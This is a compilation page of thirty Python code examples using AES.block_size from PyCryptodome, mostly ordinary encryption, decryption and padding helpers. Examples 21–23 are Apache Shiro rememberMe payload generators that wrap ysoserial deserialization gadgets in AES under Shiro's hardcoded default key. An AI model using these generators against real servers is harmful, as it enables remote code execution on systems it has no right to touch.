Python源码示例:Crypto.Cipher.AES.block_size()

示例1
def encrypt(self, secret):
        """
            Encrypt a secret
        """

        # generate IV
        IV = CryptoRandom.new().read(AES.block_size)

        # Retrieve AES instance
        aes = self.get_aes(IV)

        # calculate needed padding
        padding = AES.block_size - len(secret) % AES.block_size

        # Python 2.x: secret += chr(padding) * padding
        secret += bytes([padding]) * padding

        # store the IV at the beginning and encrypt
        data = IV + aes.encrypt(secret)

        # Reset salted key
        self.set_salt()

        # Return base 64 encoded bytes
        return base64.b64encode(data) 
示例2
def _pseudo_random_data(self, bytes):
        if not (0 <= bytes <= self.max_bytes_per_request):
            raise AssertionError("You cannot ask for more than 1 MiB of data per request")

        num_blocks = ceil_shift(bytes, self.block_size_shift)   # num_blocks = ceil(bytes / self.block_size)

        # Compute the output
        retval = self._generate_blocks(num_blocks)[:bytes]

        # Switch to a new key to avoid later compromises of this output (i.e.
        # state compromise extension attacks)
        self._set_key(self._generate_blocks(self.blocks_per_key))

        assert len(retval) == bytes
        assert len(self.key) == self.key_size

        return retval 
示例3
def pkcs7padding(text):
    """
    明文使用PKCS7填充
    最终调用AES加密方法时,传入的是一个byte数组,要求是16的整数倍,因此需要对明文进行处理
    :param text: 待加密内容(明文)
    :return:
    """
    bs = AES.block_size  # 16
    length = len(text)
    bytes_length = len(bytes(text, encoding='utf-8'))
    # tips:utf-8编码时,英文占1个byte,而中文占3个byte
    padding_size = length if(bytes_length == length) else bytes_length
    padding = bs - padding_size % bs
    # tips:chr(padding)看与其它语言的约定,有的会使用'\0'
    padding_text = chr(padding) * padding
    return text + padding_text 
示例4
def pkcs7padding(text):
    """
    明文使用PKCS7填充
    最终调用AES加密方法时,传入的是一个byte数组,要求是16的整数倍,因此需要对明文进行处理
    :param text: 待加密内容(明文)
    :return:
    """
    bs = AES.block_size  # 16
    length = len(text)
    bytes_length = len(bytes(text, encoding='utf-8'))
    # tips:utf-8编码时,英文占1个byte,而中文占3个byte
    padding_size = length if(bytes_length == length) else bytes_length
    padding = bs - padding_size % bs
    # tips:chr(padding)看与其它语言的约定,有的会使用'\0'
    padding_text = chr(padding) * padding
    return text + padding_text 
示例5
def encrypt_chunk(chunk, password=None):
    """Encrypts the given chunk of data and returns the encrypted chunk.
       If password is None then saq.ENCRYPTION_PASSWORD is used instead.
       password must be a byte string 32 bytes in length."""

    if password is None:
        password = saq.ENCRYPTION_PASSWORD

    assert isinstance(password, bytes)
    assert len(password) == 32

    iv = Crypto.Random.OSRNG.posix.new().read(AES.block_size)
    encryptor = AES.new(password, AES.MODE_CBC, iv)

    original_size = len(chunk)

    if len(chunk) % 16 != 0:
        chunk += b' ' * (16 - len(chunk) % 16)

    result = struct.pack('<Q', original_size) + iv + encryptor.encrypt(chunk)
    return result 
示例6
def encrypt_credential(raw):
    """
    Encodes data

    :param data: Data to be encoded
    :type data: str
    :returns:  string -- Encoded data
    """
    # pylint: disable=invalid-name,import-error
    import base64
    try:  # The crypto package depends on the library installed (see Wiki)
        from Crypto import Random
        from Crypto.Cipher import AES
        from Crypto.Util import Padding
    except ImportError:
        from Cryptodome import Random
        from Cryptodome.Cipher import AES
        from Cryptodome.Util import Padding
    raw = bytes(Padding.pad(data_to_pad=raw.encode('utf-8'), block_size=__BLOCK_SIZE__))
    iv = Random.new().read(AES.block_size)
    cipher = AES.new(get_crypt_key(), AES.MODE_CBC, iv)
    return base64.b64encode(iv + cipher.encrypt(raw)).decode('utf-8') 
示例7
def decrypt_credential(enc, secret=None):
    """
    Decodes data

    :param data: Data to be decoded
    :type data: str
    :returns:  string -- Decoded data
    """
    # pylint: disable=invalid-name,import-error
    import base64
    try:  # The crypto package depends on the library installed (see Wiki)
        from Crypto.Cipher import AES
        from Crypto.Util import Padding
    except ImportError:
        from Cryptodome.Cipher import AES
        from Cryptodome.Util import Padding
    enc = base64.b64decode(enc)
    iv = enc[:AES.block_size]
    cipher = AES.new(secret or get_crypt_key(), AES.MODE_CBC, iv)
    decoded = Padding.unpad(
        padded_data=cipher.decrypt(enc[AES.block_size:]),
        block_size=__BLOCK_SIZE__)
    return decoded 
示例8
def decrypt(in_file, out_file, password, key_length=32):
    bs = AES.block_size
    salt = in_file.read(bs)[len('Salted__'):]
    key, iv = derive_key_and_iv(password, salt, key_length, bs)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    next_chunk = ''
    finished = False
    while not finished:
        chunk, next_chunk = next_chunk, cipher.decrypt(in_file.read(1024 * bs))
        if len(next_chunk) == 0:
            padding_length = ord(chunk[-1])
            chunk = chunk[:-padding_length]
            finished = True
        out_file.write(chunk)


# A stupid way to calculate size of encrypted file and sha1
# B2 requires a header with the sha1 but urllib2 must have the header before streaming
# the data. This means we must read the file once to calculate the sha1, then read it again
# for streaming the data on upload. 
示例9
def calc_encryption_sha_and_length(in_file, password, salt, key_length, key,
                                   iv):
    bs = AES.block_size
    size = 0
    cipher = AES.new(key, AES.MODE_CBC, iv)
    sha = hashlib.sha1()
    sha.update('Salted__' + salt)
    size += len('Salted__' + salt)
    finished = False
    while not finished:
        chunk = in_file.read(1024 * bs)
        if len(chunk) == 0 or len(chunk) % bs != 0:
            padding_length = (bs - len(chunk) % bs) or bs
            chunk += padding_length * chr(padding_length)
            finished = True
        chunk = cipher.encrypt(chunk)
        sha.update(chunk)
        size += len(chunk)
    return sha.hexdigest(), size 
示例10
def decrypt_private_key(encrypted_private_key: bytes, password: str) -> str:
        '''
        Decrypt private key with the password.

        Args:
            encrypted_private_key (bytes): encrypted private key
            password (str): password to decrypt private key with

        Returns:
            str: decrypted private key
        '''
        encrypted_private_key = base64.b64decode(encrypted_private_key)
        iv = encrypted_private_key[:AES.block_size]
        cipher = AES.new(sha256(bytes(password.encode('utf-8'))).digest(), AES.MODE_CFB, iv)
        private_key = cipher.decrypt(encrypted_private_key[AES.block_size:])
        return str(private_key, 'ascii') 
示例11
def encrypt(self, password, assoc=None):
        # encrypt password, ignore associated data
        from Crypto.Random import get_random_bytes

        salt = get_random_bytes(self.block_size)
        from Crypto.Cipher import AES

        IV = get_random_bytes(AES.block_size)
        cipher = self._create_cipher(self.keyring_key, salt, IV)
        password_encrypted = cipher.encrypt(self.pw_prefix + password)
        # Serialize the salt, IV, and encrypted password in a secure format
        data = dict(salt=salt, IV=IV, password_encrypted=password_encrypted)
        for key in data:
            # spare a few bytes: throw away newline from base64 encoding
            data[key] = encodebytes(data[key]).decode()[:-1]
        return json.dumps(data).encode() 
示例12
def _pseudo_random_data(self, bytes):
        if not (0 <= bytes <= self.max_bytes_per_request):
            raise AssertionError("You cannot ask for more than 1 MiB of data per request")

        num_blocks = ceil_shift(bytes, self.block_size_shift)   # num_blocks = ceil(bytes / self.block_size)

        # Compute the output
        retval = self._generate_blocks(num_blocks)[:bytes]

        # Switch to a new key to avoid later compromises of this output (i.e.
        # state compromise extension attacks)
        self._set_key(self._generate_blocks(self.blocks_per_key))

        assert len(retval) == bytes
        assert len(self.key) == self.key_size

        return retval 
示例13
def encrypt(plaintext, key):
    """
    Encrypt the plaintext with AES method.

    Parameters:
        plaintext -- String to be encrypted.
        key       -- Key for encryption.
    """

    iv = Random.new().read(AES.block_size)
    cipher = AES.new(pad(key), AES.MODE_CFB, iv)
    # If user has entered non ascii password (Python2)
    # we have to encode it first
    if hasattr(str, 'decode'):
        plaintext = plaintext.encode('utf-8')
    encrypted = base64.b64encode(iv + cipher.encrypt(plaintext))

    return encrypted 
示例14
def decrypt(ciphertext, key):
    """
    Decrypt the AES encrypted string.

    Parameters:
        ciphertext -- Encrypted string with AES method.
        key        -- key to decrypt the encrypted string.
    """

    global padding_string

    ciphertext = base64.b64decode(ciphertext)
    iv = ciphertext[:AES.block_size]
    cipher = AES.new(pad(key), AES.MODE_CFB, iv)
    decrypted = cipher.decrypt(ciphertext[AES.block_size:])

    return decrypted 
示例15
def encryptData(cls, clearText, key):
		"""Encrypts data with the provided key.
		The returned byte array is as follow:
		:==============:==================================================:
		: IV (16bytes) :    Encrypted (data + PKCS7 padding information)  :
		:==============:==================================================:
		"""

		# Generate a crypto secure random Initialization Vector
		iv = urandom(AES.block_size)

		# Perform PKCS7 padding so that clearText is a multiple of the block size
		clearText = cls.pad(clearText)

		cipher = AES.new(key, AES.MODE_CBC, iv)
		return iv + cipher.encrypt(clearText)

    #----------------------------------------------------------- 
示例16
def test_get_aes(self):
        IV = CryptoRandom.new().read(AES.block_size)
        self.assertIsInstance(self.enc2.get_aes(IV), Cipher._mode_cbc.CbcMode) 
示例17
def decrypt(self, enc_secret):
        """
            Decrypt a secret
        """

        # Decode base 64
        enc_secret = base64.b64decode(enc_secret)

        # extract the IV from the beginning
        IV = enc_secret[:AES.block_size]

        # Retrieve AES instance
        aes = self.get_aes(IV)

        # Decrypt
        data = aes.decrypt(enc_secret[AES.block_size:])

        # pick the padding value from the end; Python 2.x: ord(data[-1])
        padding = data[-1]

        # Python 2.x: chr(padding) * padding
        if data[-padding:] != bytes([padding]) * padding:
            raise ValueError("Invalid padding...")

        # Reset salted key
        self.set_salt()

        # Remove the padding and return the bytes
        return data[:-padding] 
示例18
def encrypt(self, value):
            iv = Random.get_random_bytes(AES.block_size)
            cipher = self.get_cipher(self.key, iv)
            return iv + cipher.encrypt(value) 
示例19
def decrypt(self, value):
            iv = value[:AES.block_size]
            cipher = self.get_cipher(self.key, iv)
            return cipher.decrypt(value[AES.block_size:]) 
示例20
def encrypt_string(message, key):
    #message = 'this is my message'
    #TODO: implement more robust padding
    padding = (16 - (len(message) % 16))
    padded_message = message + ' ' * padding
    key = SHA256.new(key).digest()
    #IV = Random.new().read(AES.block_size)
    encryptor = AES.new(key, AES.MODE_CBC, global_IV)
    cipher = encryptor.encrypt(padded_message)
    return base64.b64encode(cipher) 
示例21
def encode_rememberme(command): 
	JAR_FILE = './ysoserial-0.0.6-SNAPSHOT-BETA-all.jar' 
	popen = subprocess.Popen(['java', '-jar',JAR_FILE, 'CommonsCollections2', command], stdout=subprocess.PIPE) 
	BS = AES.block_size 
	pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() 
	key = "kPH+bIxk5D2deZiIxcaaaA=="
	mode = AES.MODE_CBC 
	iv = uuid.uuid4().bytes 
	encryptor = AES.new(base64.b64decode(key), mode, iv) 
	file_body = pad(popen.stdout.read()) 
	base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) 
	return base64_ciphertext 
示例22
def encode_rememberme(command):  
   popen = subprocess.Popen(['java', '-jar', './ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsBeanutils1', command], stdout=subprocess.PIPE)
   BS   = AES.block_size
   pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
   key  =  "kPH+bIxk5D2deZiIxcaaaA=="
   mode =  AES.MODE_CBC
   iv   =  uuid.uuid4().bytes
   encryptor = AES.new(base64.b64decode(key), mode, iv)
   file_body = pad(popen.stdout.read())
   base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
   return base64_ciphertext 
示例23
def generator(command, fp):
    if not os.path.exists(fp):
        raise Exception('jar file not found!')
    popen = subprocess.Popen(['java', '-jar', fp, 'JRMPClient', command],
                             stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

# 
示例24
def __init__(self, key):
        self.bs = AES.block_size
        self.key = hashlib.sha256(key.encode()).digest() 
示例25
def encrypt(self, raw):
        raw = self._pad(raw)
        iv = Random.new().read(AES.block_size)
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return base64.b64encode(iv + cipher.encrypt(raw)) 
示例26
def decrypt(self, enc):
        enc = base64.b64decode(enc)
        iv = enc[: AES.block_size]
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return self._unpad(cipher.decrypt(enc[AES.block_size :])).decode("utf-8") 
示例27
def pad(s):
    return s + b"\0" * (AES.block_size - len(s) % AES.block_size) 
示例28
def decrypt(ciphertext, key):
    iv = ciphertext[:AES.block_size]
    cipher = AES.new(key, AES.MODE_CBC, iv)
    plaintext = cipher.decrypt(ciphertext[AES.block_size:])
    return plaintext.rstrip(b"\0") 
示例29
def pad(s):
    return s + b"\0" * (AES.block_size - len(s) % AES.block_size) 
示例30
def decrypt(ciphertext, key):
    iv = ciphertext[:AES.block_size]
    cipher = AES.new(key, AES.MODE_CBC, iv)
    plaintext = cipher.decrypt(ciphertext[AES.block_size:])
    return plaintext.rstrip(b"\0")